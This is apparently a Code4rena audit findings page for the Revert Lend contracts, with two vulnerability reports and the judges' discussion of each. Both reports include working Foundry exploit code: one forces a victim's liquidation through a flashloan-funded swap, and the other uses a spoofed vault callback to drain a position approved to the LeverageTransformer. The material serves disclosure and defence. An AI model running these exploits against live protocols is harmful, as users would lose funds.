Platform: Code4rena
Start Date: 04/03/2024
Pot Size: $88,500 USDC
Total HM: 31
Participants: 105
Period: 11 days
Judge: ronnyx2017
Total Solo HM: 7
Id: 342
League: ETH
Rank: 40/105
Findings: 2
Award: $330.24
🌟 Selected for report: 1
🚀 Solo Findings: 0
287.4602 USDC - $287.46
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L1278
The _checkLoanIsHealthy
function is used in the V3Vault
to assess a user’s given position and determine the health factor of the loan. As there is no safety buffer when checking the health factor of a given position, users could be subject to a negative health factor if there are minor movements in the market which could result in liquidation or in the worst case scenario, an attacker could force a liquidation on a user and profit by sinking their position in the Uniswap pool.
The _checkLoanIsHealthy
function holds the implementation to check if a users position is healthy and will return false if the position not able to be liquidated by obtaining the full value of the collateral inclusive of fees through the oracle by the tokenId
. The collateralValue
is then calculated from _calculateTokenCollateralFactorX32
. Finally, we return whether the collateralValue
is greater than or equal to the debt requested:
function _checkLoanIsHealthy(uint256 tokenId, uint256 debt) internal view returns (bool isHealthy, uint256 fullValue, uint256 collateralValue, uint256 feeValue) { (fullValue, feeValue,,) = oracle.getValue(tokenId, address(asset)); uint256 collateralFactorX32 = _calculateTokenCollateralFactorX32(tokenId); collateralValue = fullValue.mulDiv(collateralFactorX32, Q32); isHealthy = collateralValue >= debt; }
However, the issue in the code is that the the start of the liquidation threshold (Ie. 85%) is supposed to be greater than the loan to value ratio (Ie. 80%) to create some breathing room for the user and reduce the risk of the protocol incurring bad debt.
Borrowers of the protocol may be unfairly liquidated due to minor movements in the market when taking out the max loan. In the worst case scenario, a user could be subject to a forced liquidation by the attacker (a malicious user or a bot) for profit.
The proof of concept below simulates a scenario where a user takes out a loan. The malicious user creates some small movements in the market in order to purposely sink a user’s position. The malicious user then liquidates the victim for profit forked from the Ethereum mainnet:
contract ProofOfConcept__Vault_transform__Uv3Utils__Forced_Liquidation__Safety_Buffer is Test { uint256 constant Q32 = 2 ** 32; uint256 constant Q96 = 2 ** 96; uint256 constant YEAR_SECS = 31557600; // taking into account leap years address constant WHALE_ACCOUNT = 0xF977814e90dA44bFA03b6295A0616a897441aceC; IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); IERC20 constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); INonfungiblePositionManager constant NPM = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88); address EX0x = 0xDef1C0ded9bec7F1a1670819833240f027b25EfF; // 0x exchange proxy address UNIVERSAL_ROUTER = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B; address PERMIT2 = 0x000000000022D473030F116dDEE9F6B43aC78BA3; address constant CHAINLINK_USDC_USD = 0x8fFfFfd4AfB6115b954Bd326cbe7B4BA576818f6; address constant CHAINLINK_DAI_USD = 0xAed0c38402a5d19df6E4c03F4E2DceD6e29c1ee9; address constant CHAINLINK_ETH_USD = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419; address constant UNISWAP_DAI_USDC = 0x5777d92f208679DB4b9778590Fa3CAB3aC9e2168; // 0.01% pool address constant UNISWAP_ETH_USDC = 0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640; // 0.05% pool address constant UNISWAP_DAI_USDC_005 = 0x6c6Bc977E13Df9b0de53b251522280BB72383700; // 0.05% pool address constant TEST_NFT_ACCOUNT = 0x3b8ccaa89FcD432f1334D35b10fF8547001Ce3e5; uint256 constant TEST_NFT = 126; // DAI/USDC 0.05% - in range (-276330/-276320) address constant TEST_NFT_ACCOUNT_2 = 0x454CE089a879F7A0d0416eddC770a47A1F47Be99; uint256 constant TEST_NFT_2 = 1047; // DAI/USDC 0.05% - in range (-276330/-276320) uint256 constant TEST_NFT_UNI = 1; // WETH/UNI 0.3% uint256 mainnetFork; V3Vault vault; InterestRateModel interestRateModel; V3Oracle oracle; address alice = vm.addr(9); address eve = vm.addr(8); address bob = vm.addr(7); bool shouldReenter = false; function setUp() external { mainnetFork = vm.createFork("https://eth-mainnet.g.alchemy.com/v2/[YOUR-RPC-URL]", 18521658); vm.selectFork(mainnetFork); // 0% base rate - 5% multiplier - after 80% - 109% jump multiplier (like in compound v2 deployed) (-> max rate 25.8% per year) interestRateModel = new InterestRateModel(0, Q96 * 5 / 100, Q96 * 109 / 100, Q96 * 80 / 100); // use tolerant oracles (so timewarp for until 30 days works in tests - also allow divergence from price for mocked price results) oracle = new V3Oracle(NPM, address(USDC), address(0)); oracle.setTokenConfig( address(USDC), AggregatorV3Interface(CHAINLINK_USDC_USD), 3600 * 24 * 30, IUniswapV3Pool(address(0)), 0, V3Oracle.Mode.TWAP, 0 ); oracle.setTokenConfig( address(DAI), AggregatorV3Interface(CHAINLINK_DAI_USD), 3600 * 24 * 30, IUniswapV3Pool(UNISWAP_DAI_USDC), 60, V3Oracle.Mode.CHAINLINK_TWAP_VERIFY, 50000 ); oracle.setTokenConfig( address(WETH), AggregatorV3Interface(CHAINLINK_ETH_USD), 3600 * 24 * 30, IUniswapV3Pool(UNISWAP_ETH_USDC), 60, V3Oracle.Mode.CHAINLINK_TWAP_VERIFY, 50000 ); vault = new V3Vault("Revert Lend USDC", "rlUSDC", address(USDC), NPM, interestRateModel, oracle, IPermit2(PERMIT2)); vault.setTokenConfig(address(USDC), uint32(Q32 * 9 / 10), type(uint32).max); // 90% collateral factor / max 100% collateral value vault.setTokenConfig(address(DAI), uint32(Q32 * 9 / 10), type(uint32).max); // 90% collateral factor / max 100% collateral value vault.setTokenConfig(address(WETH), uint32(Q32 * 9 / 10), type(uint32).max); // 90% collateral factor / max 100% collateral value vault.setLimits(0, 100_000 * 1e6, 100_000 * 1e6, 100_000 * 1e6, 100_000 * 1e6); // without reserve for now vault.setReserveFactor(0); vm.warp(block.timestamp + 2 days); } struct TempVariables { uint256 wethFlashloan; uint256 debt; uint256 fullValue; uint256 collateralValue; } function testForcedLiquidation() public { // Setup scenario ERC20 usdc = ERC20(address(USDC)); ERC20 weth = ERC20(address(WETH)); IUniswapV3Factory factory = IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984); IUniswapV3Pool usdcweth = IUniswapV3Pool(address(factory.getPool(address(usdc), address(weth), 500))); deal(address(usdc), address(bob), 100_000 * 1e6); deal(address(usdc), address(alice), 100_000 * 1e6); deal(address(weth), address(alice), 10 ether); // Bob supplies liquidity to the pool vm.startPrank(address(bob)); uint256 amount = 100_000 * 1e6; usdc.approve(address(vault), type(uint256).max); vault.deposit(amount, address(bob)); vm.stopPrank(); // Alice opens a usdc - weth LP position vm.startPrank(address(alice)); usdc.approve(address(NPM), type(uint256).max); weth.approve(address(NPM), type(uint256).max); // Current Tick: 200981 // In range Position INonfungiblePositionManager.MintParams memory mp = INonfungiblePositionManager.MintParams({ token0: usdcweth.token0(), token1: usdcweth.token1(), fee: usdcweth.fee(), tickLower: 199460, tickUpper: 204520, amount0Desired: 50_000 * 1e6, amount1Desired: 10 ether, amount0Min: 0, amount1Min: 0, recipient: address(alice), deadline: block.timestamp + 1 days }); (uint256 tokenId,,,) = NPM.mint(mp); NPM.setApprovalForAll(address(vault), true); vault.create(tokenId, address(alice)); (,, uint256 collateralValue,,) = vault.loanInfo(tokenId); vault.borrow(tokenId, collateralValue); // Borrows max collateralValue vm.stopPrank(); assertEq(weth.balanceOf(eve), 0); // Assert Eve starts with no tokens vm.startPrank(address(eve)); TempVariables memory tv = TempVariables({ wethFlashloan: 0, debt: 0, fullValue: 0, collateralValue: 0 }); tv.wethFlashloan = 30 ether; // Flashloan value deal(address(weth), address(eve), tv.wethFlashloan); // Simulate flashloan // Sink the victim's position on purpose through a swap weth.approve(address(0xE592427A0AEce92De3Edee1F18E0157C05861564), type(uint256).max); ISwapRouter swapRouter = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564); ISwapRouter.ExactInputSingleParams memory swapParams = ISwapRouter.ExactInputSingleParams({ tokenIn: address(weth), tokenOut: address(usdc), fee: 500, recipient: address(eve), deadline: block.timestamp, amountIn: tv.wethFlashloan, amountOutMinimum: 0, sqrtPriceLimitX96: 0 }); swapRouter.exactInputSingle( swapParams ); // Perform a liquidation to kick the user off the protocol (tv.debt,tv.fullValue,tv.collateralValue,,) = vault.loanInfo(tokenId); usdc.approve(address(vault), type(uint256).max); IVault.LiquidateParams memory lp = IVault.LiquidateParams({ tokenId: tokenId, debtShares: tv.debt, amount0Min: 0, amount1Min: 0, recipient: address(eve), permitData: "" }); vault.liquidate(lp); usdc.approve(address(swapRouter), type(uint256).max); // Swap back all usdc and profit swapParams = ISwapRouter.ExactInputSingleParams({ tokenIn: address(usdc), tokenOut: address(weth), fee: 500, recipient: address(eve), deadline: block.timestamp, amountIn: usdc.balanceOf(address(eve)), amountOutMinimum: 0, sqrtPriceLimitX96: 0 }); swapRouter.exactInputSingle(swapParams); // Return flashloan weth.transfer(address(0), tv.wethFlashloan); // Simulate flashloan repayment by transferring to the burn address vm.stopPrank(); // Assert that Eve profited assertEq(weth.balanceOf(eve), 568684386651804250); } function _getTick(IUniswapV3Pool pool) internal returns(int24) { (,int24 tick,,,,,) = pool.slot0(); return tick; } function _isInRange(IUniswapV3Pool pool, uint256 tokenId) internal returns(bool) { int24 tick = _getTick(pool); (,,,,,int24 lowerTick, int24 upperTick,,,,,) = NPM.positions(tokenId); if(tick >= lowerTick && tick <= upperTick) { return true; } return false; } }
Manual review
Consider implementing a safety buffer for the users position which is considered when attempting to take out a loan so that they are not subject to liquidations due to minor changes in the market. For instance, if the liquidation threshold is at 80%, the borrower’s max loan is at 75% of that ratio. After some small changes in market conditions the position is now at a 75.00002% and is still safe from liquidations as it is still over collateralised. This can be done by implementing this as another state variable and checking that the requested debt is initially below this threshold. When attempting to liquidate, the health of the position is then checked against the liquidation threshold.
Other
#0 - c4-pre-sort
2024-03-20T06:47:48Z
0xEVom marked the issue as duplicate of #412
#1 - c4-pre-sort
2024-03-20T06:48:01Z
0xEVom marked the issue as sufficient quality report
#2 - c4-pre-sort
2024-03-20T06:49:00Z
0xEVom marked the issue as not a duplicate
#3 - c4-pre-sort
2024-03-20T06:49:07Z
0xEVom marked the issue as primary issue
#4 - 0xEVom
2024-03-20T06:50:09Z
Most likely a design choice, but leaving it open for the sponsor to review.
#5 - kalinbas
2024-03-26T17:05:11Z
Yeah its a design choice and we probably will add a safety buffer on the frontend. But in contract it is not needed
#6 - c4-sponsor
2024-03-26T17:05:15Z
kalinbas (sponsor) disputed
#7 - jhsagd76
2024-03-31T08:52:30Z
I think this is a valid M, as typically the safety measures added at the frontend are considered unreliable. I don't quite understand the significant benefits of the current design; it only slightly increases capital efficiency but exposes users to liquidation risks.
Temporarily marked as M, but awaiting further review by the sponsor.
#8 - c4-judge
2024-03-31T08:53:19Z
jhsagd76 changed the severity to 2 (Med Risk)
#9 - c4-judge
2024-03-31T08:53:42Z
jhsagd76 marked the issue as satisfactory
#10 - c4-judge
2024-04-01T15:34:18Z
jhsagd76 marked the issue as selected for report
#11 - kalinbas
2024-04-01T21:39:28Z
Agreed. Will add this safety buffer
#12 - c4-sponsor
2024-04-01T21:39:31Z
kalinbas (sponsor) confirmed
#13 - kalinbas
2024-04-09T18:48:16Z
🌟 Selected for report: Bauchibred
Also found by: 0x11singh99, 0x175, 0xAlix2, 0xDemon, 0xGreyWolf, 0xPhantom, 0xspryon, 14si2o_Flint, Arabadzhiev, Aymen0909, Bigsam, BowTiedOriole, CRYP70, DanielArmstrong, FastChecker, JecikPo, KupiaSec, MohammedRizwan, Norah, Timenov, Topmark, VAD37, adeolu, btk, crypticdefense, cryptphi, givn, grearlake, jnforja, kennedy1030, kfx, ktg, lanrebayode77, n1punp, santiellena, stonejiajia, t4sk, thank_you, tpiliposian, wangxx2026, y0ng0p3, zaevlad
42.7786 USDC - $42.78
The LeverageTransformer
allows users to leverage up their position by taking out a loan and increasing their position or leverage down by repaying their loan and decreasing their position liquidity. The leverageDown
function lacks access controls which may allow malicious users to steal tokens from LP positions if a user has previously approved the contract itself.
In the leverageDown
function, leverageDown
can be called by anybody. This can allow a malicious user to spoof the vault with a deployed contract, exploit the approval given to the msg.sender
(the malicious contract) and siphon funds via the repay callback.
function leverageDown(LeverageDownParams calldata params) external { . . . SafeERC20.safeApprove(IERC20(token), msg.sender, amount); IVault(msg.sender).repay(params.tokenId, amount, false); // send leftover tokens if (amount0 > 0 && token != token0) { SafeERC20.safeTransfer(IERC20(token0), params.recipient, amount0); } if (amount1 > 0 && token != token1) { SafeERC20.safeTransfer(IERC20(token1), params.recipient, amount1); } } }
This was rated a medium in severity because whilst triggering this bug can result in the theft of funds and repetitional loss as this is a trusted address, requires certain preconditions to be met in order to exploit.
The following proof of concept exploit code is a scenario where a user has approved the LeverageTransformer
contract (by accident or on purpose) allowing a malicious actor to spoof the vault and siphon funds from their position.
contract ProofOfConcept__Vault_transform__Stolen_Funds is Test { uint256 constant Q32 = 2 ** 32; uint256 constant Q96 = 2 ** 96; uint256 constant YEAR_SECS = 31557600; // taking into account leap years address constant WHALE_ACCOUNT = 0xF977814e90dA44bFA03b6295A0616a897441aceC; IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); IERC20 constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); INonfungiblePositionManager constant NPM = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88); address EX0x = 0xDef1C0ded9bec7F1a1670819833240f027b25EfF; // 0x exchange proxy address UNIVERSAL_ROUTER = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B; address PERMIT2 = 0x000000000022D473030F116dDEE9F6B43aC78BA3; address constant CHAINLINK_USDC_USD = 0x8fFfFfd4AfB6115b954Bd326cbe7B4BA576818f6; address constant CHAINLINK_DAI_USD = 0xAed0c38402a5d19df6E4c03F4E2DceD6e29c1ee9; address constant CHAINLINK_ETH_USD = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419; address constant UNISWAP_DAI_USDC = 0x5777d92f208679DB4b9778590Fa3CAB3aC9e2168; // 0.01% pool address constant UNISWAP_ETH_USDC = 0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640; // 0.05% pool address constant UNISWAP_DAI_USDC_005 = 0x6c6Bc977E13Df9b0de53b251522280BB72383700; // 0.05% pool address constant TEST_NFT_ACCOUNT = 0x3b8ccaa89FcD432f1334D35b10fF8547001Ce3e5; uint256 constant TEST_NFT = 126; // DAI/USDC 0.05% - in range (-276330/-276320) address constant TEST_NFT_ACCOUNT_2 = 0x454CE089a879F7A0d0416eddC770a47A1F47Be99; uint256 constant TEST_NFT_2 = 1047; // DAI/USDC 0.05% - in range (-276330/-276320) uint256 constant TEST_NFT_UNI = 1; // WETH/UNI 0.3% uint256 mainnetFork; V3Vault vault; InterestRateModel interestRateModel; V3Oracle oracle; address alice = vm.addr(9); address eve = vm.addr(8); bool shouldReenter = false; function setUp() external { mainnetFork = vm.createFork("https://eth-mainnet.g.alchemy.com/v2/[YOUR-RPC-URL]", 18521658); vm.selectFork(mainnetFork); // 0% base rate - 5% multiplier - after 80% - 109% jump multiplier (like in compound v2 deployed) (-> max rate 25.8% per year) interestRateModel = new InterestRateModel(0, Q96 * 5 / 100, Q96 * 109 / 100, Q96 * 80 / 100); // use tolerant oracles (so timewarp for until 30 days works in tests - also allow divergence from price for mocked price results) oracle = new V3Oracle(NPM, address(USDC), address(0)); oracle.setTokenConfig( address(USDC), AggregatorV3Interface(CHAINLINK_USDC_USD), 3600 * 24 * 30, IUniswapV3Pool(address(0)), 0, V3Oracle.Mode.TWAP, 0 ); oracle.setTokenConfig( address(DAI), AggregatorV3Interface(CHAINLINK_DAI_USD), 3600 * 24 * 30, IUniswapV3Pool(UNISWAP_DAI_USDC), 60, V3Oracle.Mode.CHAINLINK_TWAP_VERIFY, 50000 ); oracle.setTokenConfig( address(WETH), AggregatorV3Interface(CHAINLINK_ETH_USD), 3600 * 24 * 30, IUniswapV3Pool(UNISWAP_ETH_USDC), 60, V3Oracle.Mode.CHAINLINK_TWAP_VERIFY, 50000 ); vault = new V3Vault("Revert Lend USDC", "rlUSDC", address(USDC), NPM, interestRateModel, oracle, IPermit2(PERMIT2)); vault.setTokenConfig(address(USDC), uint32(Q32 * 9 / 10), type(uint32).max); // 90% collateral factor / max 100% collateral value vault.setTokenConfig(address(DAI), uint32(Q32 * 9 / 10), type(uint32).max); // 90% collateral factor / max 100% collateral value vault.setTokenConfig(address(WETH), uint32(Q32 * 9 / 10), type(uint32).max); // 90% collateral factor / max 100% collateral value // limits 15 USDC each vault.setLimits(0, 100_000 * 1e6, 75_000 * 1e6, 10_000 * 1e6, 75_000 * 1e6); // without reserve for now vault.setReserveFactor(0); vm.warp(block.timestamp + 2 days); } function testSiphonFromLeverageTransformer() public { // Create and set new leverage transformer LeverageTransformer transformer = new LeverageTransformer(NPM, EX0x, UNIVERSAL_ROUTER); vault.setTransformer(address(transformer), true); ERC20 usdc = ERC20(address(USDC)); deal(address(usdc), address(alice), 10_000 * 1e6); vm.startPrank(address(alice)); uint256 amount = 5_000 * 1e6; usdc.approve(address(vault), type(uint256).max); vault.deposit(amount, address(alice)); vm.stopPrank(); assertEq(usdc.balanceOf(address(this)), 0); // LEVERAGE DOWN vm.startPrank(address(TEST_NFT_ACCOUNT)); // User approves the contract by accident or intentionally IERC721(address(NPM)).approve(address(transformer), TEST_NFT); NPM.setApprovalForAll(address(transformer), true); vm.stopPrank(); // Malicious actor crafts exploit code to siphon funds from the position bytes memory swapDAIUSDC = abi.encode( EX0x, abi.encode( Swapper.ZeroxRouterData( EX0x, hex"415565b00000000000000000000000006b175474e89094c44da98b954eedeac495271d0f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48000000000000000000000000000000000000000000000000042c6078a4a0aa1800000000000000000000000000000000000000000000000000000000000489b400000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000500000000000000000000000000000000000000000000000000000000000000002100000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000340000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006b175474e89094c44da98b954eedeac495271d0f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4800000000000000000000000000000000000000000000000000000000000001400000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000002c0000000000000000000000000000000000000000000000000042c6078a4a0aa1800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000253757368695377617000000000000000000000000000000000000000000000000000000000000000042c6078a4a0aa180000000000000000000000000000000000000000000000000000000000048b72000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000d9e1ce17f2641f24ae83637ab66a2cca9c378b9f000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000020000000000000000000000006b175474e89094c44da98b954eedeac495271d0f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001b000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4800000000000000000000000000000000000000000000000000000000000001be000000000000000000000000ad01c20d5886137e056775af56915de824c8fce5000000000000000000000000000000000000000000000000000000000000001c000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000020000000000000000000000006b175474e89094c44da98b954eedeac495271d0f000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee0000000000000000000000000000000000000000000000000000000000000000869584cd000000000000000000000000100000000000000000000000000000000000001100000000000000000000000000000000f4dc0cafaa63a7eda78ef966a07c8ec9" ) ) ); (,,,,,,, uint128 liquidity,,,,) = NPM.positions(TEST_NFT); // leverage down (all available tokens with swap) LeverageTransformer.LeverageDownParams memory ldParams = LeverageTransformer.LeverageDownParams( TEST_NFT, liquidity, 0, 0, type(uint128).max, type(uint128).max, 300721346401315352, // dais for removed liquidity 0, swapDAIUSDC, 0, 0, "", address(this), block.timestamp ); transformer.leverageDown(ldParams); assertEq(usdc.balanceOf(address(this)), 9735767); } function repay(uint256 tokenId, uint256 amount, bool) external { USDC.transferFrom(msg.sender, address(this), amount); } function asset() external view returns(address) { return address(USDC); } }
Manual review
Consider creating access controls in the form of a mapping which contains a vault address and a bool value which determines if a vault has been set to use this particular transformer which can be set by the internal protocol team. This will still ensure that one of each transformer can be used across multiple vault contracts.
Access Control
#0 - c4-pre-sort
2024-03-16T10:09:21Z
0xEVom marked the issue as primary issue
#1 - c4-pre-sort
2024-03-16T10:09:28Z
0xEVom marked the issue as high quality report
#2 - 0xEVom
2024-03-18T09:00:01Z
Contains coded POC, but only mentions leverageDown
. See also https://github.com/code-423n4/2024-03-revert-lend-findings/issues/17#issuecomment-2003280000
Mentions precondition: user must have approved LeverageTransformer
to spend a position NFT.
If both preconditions mentioned in the two issues require user error and are not expected to manifest in the contracts' normal flow of operations, this is probably QA.
#3 - c4-sponsor
2024-03-26T17:14:15Z
kalinbas (sponsor) acknowledged
#4 - kalinbas
2024-03-26T17:14:22Z
Will add check for allow list of vault, but it is no risk because the contract doesn't hold any tokens.
#5 - c4-sponsor
2024-03-26T17:14:27Z
kalinbas marked the issue as disagree with severity
#6 - kalinbas
2024-03-26T17:14:49Z
There is no risk as there are no funds
#7 - jhsagd76
2024-03-29T01:43:41Z
I mark this as a Low, because there are many many same things in the mainnet dapps. Losses are always dust (even though by design we shouldn't have any tokens in this contract), so it's still something to be mindful of.
Just to provide a recent example for reference in order to prevent any disputes. You can find the similar issue in the pufETH. And every audit report marked it as Low or just a Note: https://github.com/PufferFinance/pufETH/blob/main/audits/BlockSec-pufETH-v1.pdf (2.3.4) and https://github.com/PufferFinance/pufETH/blob/main/audits/Quantstamp-pufETH-v1.pdf (PUFF-2)
#8 - c4-judge
2024-03-29T01:44:22Z
jhsagd76 changed the severity to QA (Quality Assurance)
#9 - c4-judge
2024-03-29T01:44:29Z
jhsagd76 marked the issue as grade-a
#10 - jhsagd76
2024-03-29T01:44:36Z
L-A